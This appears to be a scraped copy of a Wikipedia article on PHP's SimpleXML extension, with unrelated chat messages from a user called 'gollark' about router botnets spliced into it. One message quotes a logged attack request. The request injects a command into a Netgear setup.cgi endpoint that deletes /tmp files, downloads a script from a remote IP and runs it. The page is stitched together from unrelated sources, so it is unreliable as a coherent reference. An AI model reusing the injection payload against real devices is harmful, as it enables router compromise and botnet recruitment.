SimpleXML

SimpleXML is a PHP extension that allows users to easily[1][2] manipulate/use XML data. It was introduced in PHP 5 as an object oriented approach to the XML DOM providing an object that can be processed with normal property selectors and array iterators.[3][4] It represents an easy way of getting an element's attributes and textual content if you know the XML document's structure or layout.[5]

Compared to DOM or the Expat parser, SimpleXML takes a fewer lines of code to read text data from an element.[6][7]

Functions

  • addAttribute()[8]
  • addChild()
  • asXML()
  • attributes()
  • children()
  • __construct()
  • getDocNamespaces()
  • getName()
  • getNamespaces()
  • registerXPathNamespace()
  • xpath()
  • simplexml_import_dom
  • simplexml_load_file
  • simplexml_load_string

Error handling

It is possible to suppress all XML errors when loading the document and then iterate over the errors.[9]

gollark: A few days ago my website got spammed with requests like this:```147|1597979461.0539|201.252.229.123|/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/&currentsetting.htm=1|GET||{"Connection":"close"}|{"Ip":"201.252.229.123","Path":"/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/&currentsetting.htm=1","Protocol":"HTTP/1.0"}```(yes this is a weird log format)which I think were actually made by compromised routers of some kind.
gollark: Some of the vulnerabilities I read about make me wonder if anyone had... considered security at all when designing things.
gollark: Yes, exactly.
gollark: Did you know that the S in IoT stands for security?
gollark: I think the big target for botnets and stuff these days is the wildly insecure routers and IoT devices everyone has.

References


This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.